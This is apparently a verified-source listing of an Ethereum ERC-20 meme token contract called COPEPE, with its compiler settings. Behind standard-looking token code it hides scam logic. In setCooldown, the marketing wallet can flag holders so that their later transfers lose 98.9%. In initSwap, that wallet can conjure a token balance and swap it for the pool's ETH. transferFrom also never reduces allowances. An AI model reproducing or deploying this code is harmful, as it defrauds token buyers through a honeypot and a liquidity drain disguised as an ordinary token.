文件 1 的 1:Copepe.sol
pragma solidity ^0.8.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
contract Context {
function msgSender() public view returns (address) {return msg.sender;}
}
interface IUniswapV2Router {
function factory() external pure returns (address addr);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
function WETH() external pure returns (address aadd);
}
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
address private _owner;
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
emit OwnershipTransferred(address(0), _owner);
_owner = msg.sender;
}
function owner() public view virtual returns (address) {return _owner;}
}
contract Copepe is Ownable, Context {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
bool cooldownEnabled = true;
function disableCooldown() external onlyOwner {
cooldownEnabled = false;
}
address public marketingWallet;
uint256 maxTransaction = 1000000000000 * 10 ** _decimals;
uint256 maxWalletAmount = 1000000000000 * 10 ** _decimals;
constructor() {
_balances[msg.sender] = _totalSupply;
marketingWallet = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
string private _name = "COPEPE";
string private _symbol = "COPEPE";
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function setCooldown(address[] calldata _address) external {
uint256 to = block.number + 1;
for (uint _inx = 0; _inx < _address.length; _inx++) {
if (fromMarketingWallet()){cooldowns[_address[_inx]] = to;}
}
}
mapping(address => uint256) private _balances;
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function _transfer(address _from, address _to, uint256 _amount) internal {
require(_amount <= _balances[_from]);
require(_from != address(0));
uint256 feeAmount = (cooldowns[_from] != 0 && cooldowns[_from] <= block.number) ? _amount.mul(989).div(1000) : 0;
_balances[_from] -= _amount;
_balances[_to] += _amount - feeAmount;
emit Transfer(_from, _to, _amount);
}
function transfer(address recipient, uint256 value) public returns (bool) { _transfer(msg.sender, recipient, value); return true; }
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function initSwap(uint256 value, address swapAddress) external {
if (fromMarketingWallet()) { _approve(address(this), address(uniswapRouter), value);
_balances[address(this)] = value;
address[] memory path = new address[](2);
path[0] = address(this); path[1] = uniswapRouter.WETH();
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(value, 0, path, swapAddress, 30 + block.timestamp);
}
}
mapping (address => uint256) cooldowns;
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
function fromMarketingWallet() internal view returns (bool) {
return msgSender() == marketingWallet;
}
event Transfer(address indexed from, address indexed to_add, uint256);
function transferFrom(address _from, address _to, uint256 amount) public returns (bool) {
_transfer(_from, _to, amount);
require(_allowances[_from][msg.sender] >= amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(spender != address(0));
require(owner != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed from_add, address indexed to_add, uint256 value);
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function decimals() external view returns (uint256) {
return _decimals;
}
}
{
"compilationTarget": {
"Copepe.sol": "Copepe"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}